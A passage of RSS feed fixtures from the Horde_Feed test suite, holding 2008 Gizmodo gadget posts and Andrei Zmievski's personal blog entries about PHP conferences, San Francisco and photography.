Tube</a> (we were too busy making "pew pew" noises in the seats to notice). Nokia, however, is denying it.</p> <blockquote> <p>In the summer blockbuster, The Dark Knight, a Nokia device is prominently featured. We worked closely with the producers of The Dark Knight to develop an appropriate device that would suit the technology-savvy character of Batman. The Nokia device used in the film is not a commercial product&mdash;at this point.</p> </blockquote> <p>So paraphrased, that reads "Yeah, we made the world's most awesome phone for the world's most awesome movie, wouldn't you be lucky to buy it?" So even if it's not the Tube, the phone certainly has that "might go on sale" ring to it. [<a href="http://www.crunchgear.com/2008/07/21/nokia-device-in-the-dark-knight-is-not-real-says-nokia/">CrunchGear</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=9a93277a653d9dc4de85802984f19895" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=9a93277a653d9dc4de85802984f19895" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=nIkbyi"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=nIkbyi" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=kBnfIJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=kBnfIJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hWVcxJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hWVcxJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=uH16Qj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=uH16Qj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=YBze0j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=YBze0j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341876216" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341876216/nokia-responds-to-batphone-allegations Mon, 21 Jul 2008 16:40:00 EDT Mark Wilson http://gizmodo.com/index.php?op=postcommentfeed&postId=5027395&view=rss&microfeed=true http://gizmodo.com/5027395/nokia-responds-to-batphone-allegations <![CDATA[ Vaka Squeezable Lightbulbs Can Be Charged And Taken Anywhere [Concepts] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/vaka.jpg" align="left" hspace="4" vspace="2" style="display:block;" />Vaka's concept for lightbulbs revolves around silicon orbs that you squeeze to turn the light on/off, or twist to make the light dimmer or brighter. But the bulbs are also chargeable, meaning you can remove them from the fixture and take them wherever light is needed...like those village raids against the local vampire. [<a href="http://www.yankodesign.com/index.php/2008/07/21/travelin%E2%80%99-light/">Yanko</a>]</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/vaka4.jpg" align="left" hspace="4" vspace="2" style="display:block;" /></p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=b28fc7f5141a3bc13b4f24d6624af8f6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=b28fc7f5141a3bc13b4f24d6624af8f6" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=CmZ84K"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=CmZ84K" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=3boNsJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=3boNsJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=r4VkCJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=r4VkCJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=9eZoIj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=9eZoIj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=244mHj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=244mHj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341865150" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341865150/vaka-squeezable-lightbulbs-can-be-charged-and-taken-anywhere Mon, 21 Jul 2008 16:20:00 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027383&view=rss&microfeed=true http://gizmodo.com/5027383/vaka-squeezable-lightbulbs-can-be-charged-and-taken-anywhere <![CDATA[ Tooth Lasers Could Make Drilling a Thing of the Past [Dentophobia] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/raman_spectroscopy_for_teeth.jpg" align="left" hspace="4" vspace="2"/>For some people, just the sound of a dental drill is enough to cause panic—but the good news is that this barbaric procedure may be a thing of the past. UK researchers have developed a technology that is based on Raman spectroscopy (a method that is currently used to identify chemicals) to spot tooth decay before it begins. A new study has determined that harmful bacteria can be detected by analyzing how light is scattered when a laser is fired at the tooth. </p> <p>This method would make it possible to detect damage much faster than X-rays, nipping the problem in the bud before drilling is necessary. The testing is ongoing, but the researchers hope that the lasers could be available commercially within the next five years. Of course, you would have to actually go to the dentist on a regular basis to benefit from the procedure, so my guess is that drilling won't disappear anytime soon. [<a href="http://www.eurekalert.org/pub_releases/2008-07/soci-eis071808.php">eurekalert</a> via <a href="http://blogs.zdnet.com/emergingtech/?p=986">ZDNet</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=fe1b7bba1e654e10e94f6c3ef6d1313e" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=fe1b7bba1e654e10e94f6c3ef6d1313e" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=pFg3IB"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=pFg3IB" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=6sGV3J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=6sGV3J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=D0CDnJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=D0CDnJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=r1Usdj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=r1Usdj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XSOS9j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XSOS9j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341853180" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341853180/tooth-lasers-could-make-drilling-a-thing-of-the-past Mon, 21 Jul 2008 16:00:00 EDT Sean Fallon http://gizmodo.com/index.php?op=postcommentfeed&postId=5027381&view=rss&microfeed=true http://gizmodo.com/5027381/tooth-lasers-could-make-drilling-a-thing-of-the-past <![CDATA[ Toshiba and Matsushita to Start Cranking Out OLEDs in Massive Numbers [Displays] ]]> <p><img src="http://gizmodo.com/assets/resources/2007/11/Benny_and_the_OLEDs.jpg" style="display:block;" />Toshiba and Matsushita's joint display group is about to become the first Japanese firm to jump into the <a href="http://gizmodo.com/gadgets/oled/">OLED</a> production game, and in a big way—their announced factory will begin producing as many as one million 2.5-inch OLED panels per month when it comes online in the fall of next year. What could they be up to? OLED iPods perhaps?</p> <p>It's pretty far down the road for any serious speculation, but rumors of an OLED-equipped iPod which would use less power by eliminating the backlight and offer better color reproduction have been flying for a while. And the 2.5-inch size matches what's currently found on the iPod classic, <del>as well as the Zune 80</del> (Zune 80 uses a 3.2 inch screen, thanks Marx). Autumn 2009 is a long way off, and these could just end up in one of many OLED-equipped phones or PMPs already out there, so don't hold your breath on this one. [<a href="http://www.bloomberg.com/apps/news?pid=20601101&sid=aVT6e4skhBIA&refer=japan">Bloomberg</a> via <a href="http://www.electronista.com/articles/08/07/21/toshiba.matsushita.oleds/">Electronista</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5a3982dade115ede2075c9a3fc88f724" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5a3982dade115ede2075c9a3fc88f724" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=DnpRUX"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=DnpRUX" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=lFWjeJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=lFWjeJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=AXXuOJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=AXXuOJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=JGh7Uj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=JGh7Uj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ZSygFj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ZSygFj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341831616" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341831616/toshiba-and-matsushita-to-start-cranking-out-oleds-in-massive-numbers Mon, 21 Jul 2008 15:40:56 EDT John Mahoney http://gizmodo.com/index.php?op=postcommentfeed&postId=5027366&view=rss&microfeed=true http://gizmodo.com/5027366/toshiba-and-matsushita-to-start-cranking-out-oleds-in-massive-numbers <![CDATA[ This Giant Slip 'N Slide Looks Way More Fun Than Work [Slip 'n Slide] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/slipnslide_01.jpg" align="left" hspace="4" vspace="2" style="display:block;" />We love our jobs here at Gizmodo. But every once in a while even we find something more interesting than the latest breakthroughs in USB-powered humping animals. <em>Impossible</em>, you say? Not when it comes to a gigantic homemade Slip 'N Slide. It's tough to scale the slides' exact size, but it looks to drop a solid two stories before depositing its riders in the lake. And boy oh boy does this video make us jealous.</p> <p><object width="494" height="417"><param name="movie" value="http://embed.break.com/NTM5NzM0"> <embed src="http://embed.break.com/NTM5NzM0" type="application/x-shockwave-flash" width="494" height="417"></object>But...is it bad that we were waiting/hoping for someone to get hurt? Not like, never walk again hurt—just a solid Jackassian moment with some good old fashioned grass burns. [<a href="http://www.geekologie.com/2008/07/worlds_longest_homemade_waters.php">geekologie</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=cc8d04ea64774d86e24878e3727e26a7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=cc8d04ea64774d86e24878e3727e26a7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=2MiYtj"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=2MiYtj" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=VyjJXJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=VyjJXJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ZtyWaJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ZtyWaJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=jQ88mj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=jQ88mj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=cZtq3j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=cZtq3j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341820374" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341820374/this-giant-slip-n-slide-looks-way-more-fun-than-work Mon, 21 Jul 2008 15:20:00 EDT Mark Wilson http://gizmodo.com/index.php?op=postcommentfeed&postId=5027362&view=rss&microfeed=true http://gizmodo.com/5027362/this-giant-slip-n-slide-looks-way-more-fun-than-work <![CDATA[ Hack Your Point-and-Shoot into a Time Lapse Camera [Digital Cameras] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/haxcam.jpg" style="display:block;" />CamTim is a hack that'll let you use any digital camera with a remote control for time-lapse photography. It's not super-easy, but it won't make you cry (probably). It's basically a board you program to buzz the camera's remote button at whatever interval you want. Using a ZigBee module, you can also set it up to run wirelessly, which is pretty handy for long-term spying... on birds. [<a href="http://www.ziggrid.com/CamTim.html#">ZigGrid</a> via <a href="http://blog.makezine.com/archive/2008/07/photograph_wildlife_from.html?CMP=OTC-0D6B48984890">MAKE</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=cb30b48c78c9df4e69934700af3214d6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=cb30b48c78c9df4e69934700af3214d6" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=ZwMRTs"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=ZwMRTs" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Bvjg7J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Bvjg7J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=7E6QrJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=7E6QrJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=xoeDJj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=xoeDJj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=v6gGZj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=v6gGZj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341810539" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341810539/hack-your-point+and+shoot-into-a-time-lapse-camera Mon, 21 Jul 2008 15:00:00 EDT matt buchanan http://gizmodo.com/index.php?op=postcommentfeed&postId=5027347&view=rss&microfeed=true http://gizmodo.com/5027347/hack-your-point+and+shoot-into-a-time-lapse-camera <![CDATA[ A NES Console Gets Stuffed Into a Light Gun [Put It Where It Doesn't Belong] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/nes-lightgun.jpg" align="left" hspace="4" vspace="2" style="display:block;" />Modders these days seem to be fascinated with putting the old school NES where it doesn't belong—like <a href="http://gizmodo.com/gadgets/gadgets/a-nes-gets-crammed-into-a-nes-controller-229097.php">controllers</a> and <a href="http://gizmodo.com/5022343/nes-cartridge-modded-into-nes-system-with-screen-space+time-at-risk-again">cartridges</a>. At least those mods made sense in some way—I mean this version isn't even the official NES light gun. It's a Super Joy knockoff. Still, kudos to the modder for stuffing your big NES into a tiny cavity. We are all soooo impressed. [<a href="http://forums.benheck.com/viewtopic.php?t=25012">Ben Heck Forums</a> via <a href="http://technabob.com/blog/2008/07/21/entire-nes-console-stuffed-into-a-light-gun/">Technabob</a> via <a href="http://dvice.com/archives/2008/07/an_entire_nes_c_1.php">DVICE</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0da0c1fc335481b263bc8a14115b2709" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0da0c1fc335481b263bc8a14115b2709" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=E9O5i7"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=E9O5i7" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=9krRiJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=9krRiJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=kjHxjJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=kjHxjJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=CC2ODj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=CC2ODj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=eHwQBj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=eHwQBj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341785538" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341785538/a-nes-console-gets-stuffed-into-a-light-gun Mon, 21 Jul 2008 14:40:00 EDT Sean Fallon http://gizmodo.com/index.php?op=postcommentfeed&postId=5027346&view=rss&microfeed=true http://gizmodo.com/5027346/a-nes-console-gets-stuffed-into-a-light-gun <![CDATA[ Dell Offering XBox 360 Elite Bundle With XPS M1730 Laptop Build [Gaming] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/xpx-xbox-360.JPG" align="left" hspace="4" vspace="2"/>If you are one of the very few people on this planet who are simultaneously shopping for a $3000 gaming laptop and an Xbox 360—today is your lucky day. Dell is throwing an Elite bundle into their top-of-the-line XPS M1730 system until July 24th. While it is not completely free, it is definitely going to save you some money vs. buying the two items separately. So, even if you are a die-hard PC gamer, you could probably turn the Elite bundle for a profit. [<a href="http://www.dell.com/content/products/productdetails.aspx/xpsnb_m1730?c=us&cs=19&l=en&s=dhs&ref=lthp">Dell</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=945066c255bf226ff0dd187dbbce4423" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=945066c255bf226ff0dd187dbbce4423" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=DhJdNN"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=DhJdNN" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=fX887J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=fX887J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=TCzJeJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=TCzJeJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=TJUORj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=TJUORj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hnslsj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hnslsj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341772643" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341772643/dell-offering-xbox-360-elite-bundle-with-xps-m1730-laptop-build Mon, 21 Jul 2008 14:25:00 EDT Sean Fallon http://gizmodo.com/index.php?op=postcommentfeed&postId=5027390&view=rss&microfeed=true http://gizmodo.com/5027390/dell-offering-xbox-360-elite-bundle-with-xps-m1730-laptop-build Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.gravitonic.com-blog-archives-rss2.xml0000664000175000017500000011321012653701626030666 0ustar janjan Andrei Zmievski http://www.gravitonic.com/ en-us andrei@gravitonic.com Copyright 2008 2008-01-19T10:37:47-08:00 hourly 1 2000-01-01T12:00+00:00 37.380207-122.087871 GeekSessions Talk and Slides http://www.gravitonic.com/blog/archives/000435.html This past Tuesday I was a co-presenter at GeekSessions, an event that brings together speakers on a particular topic and the audience interested in it, or, as their site says, "a place with smart people and free beer." This Geeksessions event was, of course, centered on PHP and the other speakers were Cal Henderson of Flickr, Lucas Nealan of Facebook, and Sara Golemon of Yahoo!. We each had 15 minutes, but everyone had excellent talks given the time constraints. Thanks to Cindy and Shon Burton and Christian Perry for inviting me and for organizing the event, and to Terry Chay,... 435@http://www.gravitonic.com/ This past Tuesday I was a co-presenter at GeekSessions, an event that brings together speakers on a particular topic and the audience interested in it, or, as their site says, "a place with smart people and free beer." This Geeksessions event was, of course, centered on PHP and the other speakers were Cal Henderson of Flickr, Lucas Nealan of Facebook, and Sara Golemon of Yahoo!. We each had 15 minutes, but everyone had excellent talks given the time constraints.

    Thanks to Cindy and Shon Burton and Christian Perry for inviting me and for organizing the event, and to Terry Chay, for being the MC.

    The slides from my 15 minute talk, all 40+ of them are on the Talks page.

    ]]>     2008-01-19T10:37:47-08:00     New Year, New Photos http://www.gravitonic.com/blog/archives/000434.html I've just uploaded some photos taken over the New Year's eve period. One album is from a pre-party at my friends' place, and the other from the awesome Sea of Dreams event at the SF Concourse center. I had a lot of fun shooting both events, and a lot of it was due to my new camera acquisition - Nikon D3 - with its absolutely amazing performance in low-light situations. I'll have more to say on D3 in another post, but for now, check out the photos. A selection of Sea of Dreams ones can also be seen on Flickr,... 434@http://www.gravitonic.com/ I've just uploaded some photos taken over the New Year's eve period. One album is from a pre-party at my friends' place, and the other from the awesome Sea of Dreams event at the SF Concourse center. I had a lot of fun shooting both events, and a lot of it was due to my new camera acquisition - Nikon D3 - with its absolutely amazing performance in low-light situations.

    I'll have more to say on D3 in another post, but for now, check out the photos. A selection of Sea of Dreams ones can also be seen on Flickr, or even better - on Flickriver.

    ]]>     2008-01-05T16:08:50-08:00     Plaxo Pulse DOA http://www.gravitonic.com/blog/archives/000433.html As if the current proliferation of social networks was not enough, Plaxo has recently launched its own offering called Pulse, in the best tradition of branding-via-metonymy. First of all, "Pulse"? I am generally not in the habit of checking my friends' vital signs several times a day, so that kind of got lost on me. Maybe they could have done better with Spasm, Borborygm, or ultimately, Omphaloskepsis, since that's basically what social networks are. Anyway, what I really wanted to say is that Plaxo Pulse fails. Out of the gate. Dead on arrival. Why? Well, ever since it launched I've... 433@http://www.gravitonic.com/ As if the current proliferation of social networks was not enough, Plaxo has recently launched its own offering called Pulse, in the best tradition of branding-via-metonymy. First of all, "Pulse"? I am generally not in the habit of checking my friends' vital signs several times a day, so that kind of got lost on me. Maybe they could have done better with Spasm, Borborygm, or ultimately, Omphaloskepsis, since that's basically what social networks are.

    Anyway, what I really wanted to say is that Plaxo Pulse fails. Out of the gate. Dead on arrival. Why? Well, ever since it launched I've been receiving notices that such-and-such has added me as friend or wants to add me as a business contact. These notices provide a link to go to Pulse site and confirm the connection. Not recognizing one of the names, I decided to clicke on the link to check it out, but all I saw was a page that said, "Not a member yet? Sign up!" Are you freaking kidding me? You expect me to sign up just to see who wanted to add me as a contact? No thanks, Pulse. You lost me at "click here".

    ]]>     2007-11-05T16:49:36-08:00     php|works Atlanta Slides http://www.gravitonic.com/blog/archives/000432.html I am back from Atlanta. This was a pretty good conference and also my first visit to that area. There were some very interesting talks, and the closing keynote was supremely funny and inventive - great job, Sean (and Marco). A few of us ventured into the city in the evening and had the best LHB event so far. Slides for my keynote and VIM presentation are available on the Talks page.... 432@http://www.gravitonic.com/ I am back from Atlanta. This was a pretty good conference and also my first visit to that area. There were some very interesting talks, and the closing keynote was supremely funny and inventive - great job, Sean (and Marco). A few of us ventured into the city in the evening and had the best LHB event so far.

    Slides for my keynote and VIM presentation are available on the Talks page.

    ]]>     2007-09-15T14:30:06-08:00     php|works Atlanta http://www.gravitonic.com/blog/archives/000431.html Ed Finkler, or funkatron, as he prefers to be known (although I'll have to investigate this claim of "tron"ing the "funk"), put up a Guide to php|works Atlanta. He has good judgement to highlight both of my talks (your pick of a beer at the conference, Ed). Apparently, Matt Mullenweg won't like whatever it is I have to say in my keynote, which means I can make whatever extravagant claims I want. And yes, "Vim for (PHP) Programers" should be very nerdy, yet very, very hot. Oh yes. Work it, baby. I'm almost positive someone will go into the Insert... 431@http://www.gravitonic.com/ Ed Finkler, or funkatron, as he prefers to be known (although I'll have to investigate this claim of "tron"ing the "funk"), put up a Guide to php|works Atlanta. He has good judgement to highlight both of my talks (your pick of a beer at the conference, Ed). Apparently, Matt Mullenweg won't like whatever it is I have to say in my keynote, which means I can make whatever extravagant claims I want. And yes, "Vim for (PHP) Programers" should be very nerdy, yet very, very hot. Oh yes. Work it, baby. I'm almost positive someone will go into the Insert mode during the talk.

    Off to Atlanta tomorrow. I hear that the ratio of single, attractive, funny and intelligent women to, well, men over there is about 9:1. 'Nuff said.

    ]]>     2007-09-11T10:15:11-08:00     Ferry Plaza Food Extravaganza http://www.gravitonic.com/blog/archives/000428.html So I was going to write a long post, nay, multiple long posts about my new job, moving to San Francisco, how cool my new place is, how much I love living here, etc, etc, etc. You know, the usual stuff from someone who moves from suburbia of South Bay to the coolest city in the country. But I'll save you the grief of reading through that and summarize:My new job (at Outspark) is cool. I get to build platforms to support games that we publish and all these games include some type of social interaction. So, Web 2.0... 428@http://www.gravitonic.com/ Mushroom Shop

    So I was going to write a long post, nay, multiple long posts about my new job, moving to San Francisco, how cool my new place is, how much I love living here, etc, etc, etc. You know, the usual stuff from someone who moves from suburbia of South Bay to the coolest city in the country. But I'll save you the grief of reading through that and summarize:

    1. My new job (at Outspark) is cool. I get to build platforms to support games that we publish and all these games include some type of social interaction. So, Web 2.0 + games = profit!

    2. Our first game — Fiesta — is blazing through our target demographic like Homer Simpson through week-old donut bucket behind Kwik-E-Mart.

    3. San Francisco rocks. You should try living here at least once.

    4. On second thought, no, don't try living here, it's crowded and expensive enough as-is. You can visit, but if you do, please, never, ever call it San Fran. Or SF. Or, heaven forbid, Frisco. The locals call it "the city", but for you it's San Francisco. St. Francis of Assisi, mkay? Welcome.

    5. You should vote for my submission to the Passport theme photo contest at JPG Mag. Really. All the cool kids are doing it.

    Cowgirl Creamery

    Let's move on to the real topic. Even before I moved to the city, I kept hearing that the Ferry Plaza Farmers Market is something to be experienced. So this past weekend, I got up early enough (yes, 10 am, I blame my co-workers for the previous night) and went to "experience" it. My place is just over a mile from the Ferry Building and it's a very nice walk along Embarcadero and all the piers. Just beautiful, especially on a cool, breezy morning.

    The market itself is outside, along the front of the building, but most of it is on the rear plaza overlooking the Bay. Walking through it is enough to make you salivate: fresh vegetables piled high on the tables, golden honey glistening under the sun, heirloom tomatoes showing their multi-hued juiciness to the public. I saw a stall that sold not fewer than 6 different types of pluot. I tasted (and bought) Snow Giant white peaches that were so sweet and tender that you don't even have to chew them. I lost count of the word "organic" written on the product signs. And if you tire or get hungry, like I did, just walk to one of the food stalls on the south side, get yourself a nice California-style omelet, salad, or sandwich, and enjoy it while sitting by the water and thinking how awesome this place is.

    Caviar Cafe

    Still with me? Good, it's not over yet. There's also the Ferry Building itself, which I can unabashedly and without slightest exaggeration call "foodie heaven". From Cowgirl Creamery, making dozens of varieties of cheeses and creams, to I Preferiti di Boriana, giving you a taste of Tuscany, to Recchiuti Confections, that looks nothing more like Apple Store, but for chocolates. And then there is Tsar Nicoulai Caviar Cafe, which surprised even me with their selection. Plus, there are restaurants, cafes, wine shop, gelateria, and even a bookshop, to complete the picture. Quite awesome, to sum it up, and a great place to spend a few hours. Or a day. And a bunch of your money. The only other place I've seen anything like it is Paris.

    Granted, Mountain View Farmers Market is quite good and is cheaper. But then, it is in Mountain View.

    So if you do visit San Francisco — or if you live here, but haven't bothered to visit the market — do yourself a favor and get over to Ferry Building on a nice Saturday morning. You won't regret it.

    ]]>     2007-08-13T22:16:35-08:00     Conference Update http://www.gravitonic.com/blog/archives/000427.html It looks like the rest of the year will be pretty busy with conferences. First up is php|works in Atlanta, coming up in September, where I will be giving the opening keynote as well as the popular VIM for (PHP) Programmers talk. The week after that, I was invited to present at the TYPO3 conference in Karlsruhe Germany. In October, I will give the Internationalization with PHP 6 talk at ZendCon, which, thankfully, is only about 15 miles away, and finally, at the end of November, I'll present the same talk to the audience at the AFUP Forum in Paris.... 427@http://www.gravitonic.com/ It looks like the rest of the year will be pretty busy with conferences. First up is php|works in Atlanta, coming up in September, where I will be giving the opening keynote as well as the popular VIM for (PHP) Programmers talk. The week after that, I was invited to present at the TYPO3 conference in Karlsruhe Germany. In October, I will give the Internationalization with PHP 6 talk at ZendCon, which, thankfully, is only about 15 miles away, and finally, at the end of November, I'll present the same talk to the audience at the AFUP Forum in Paris. Somehow, I think I'll be ready for a vacation in December..

    ]]>     2007-08-13T22:04:02-08:00     Vu layout problem fixed http://www.gravitonic.com/blog/archives/000426.html I tested Vu photoblog under IE 5+ on Windows today and noticed that it had a layout problem with the content area being really wide. Somehow it didn't like absolutely positioned full-width and height element. My CSS-mojo wasn't up to dealing with it today, so I cheated. Hey, don't tell me you never cheated on CSS layout. Anyway, photoblog is back to normal.... 426@http://www.gravitonic.com/ I tested Vu photoblog under IE 5+ on Windows today and noticed that it had a layout problem with the content area being really wide. Somehow it didn't like absolutely positioned full-width and height element. My CSS-mojo wasn't up to dealing with it today, so I cheated. Hey, don't tell me you never cheated on CSS layout. Anyway, photoblog is back to normal.

    ]]>     2007-08-12T00:41:15-08:00     Vu Launch http://www.gravitonic.com/blog/archives/000425.html I've been kicking around the idea for a daily photoblog site, in the spirit of Sam Javarouh's [daily dose of imagery] and Shahin Edalati's foto, since.. well, since I started following those photoblogs. I figured that I had enough photos accumulated to post one each day in addition to shooting new ones. Back in November of last year, I started doing Project 365, where each day I take a few photos and then post one to my Flickr set. It's an interesting exercise, but can be demoralizing when you realize that it's almost night time and you haven't taken a... 425@http://www.gravitonic.com/ I've been kicking around the idea for a daily photoblog site, in the spirit of Sam Javarouh's [daily dose of imagery] and Shahin Edalati's foto, since.. well, since I started following those photoblogs. I figured that I had enough photos accumulated to post one each day in addition to shooting new ones.

